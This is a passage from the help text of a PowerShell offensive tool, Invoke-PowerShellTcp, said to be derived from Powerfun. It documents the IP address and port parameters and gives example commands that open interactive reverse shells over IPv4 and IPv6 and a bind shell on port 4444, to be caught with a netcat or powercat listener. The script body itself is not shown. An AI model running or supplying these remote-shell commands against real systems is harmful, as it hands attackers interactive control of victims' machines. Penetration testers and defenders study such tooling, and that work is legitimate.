Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6.
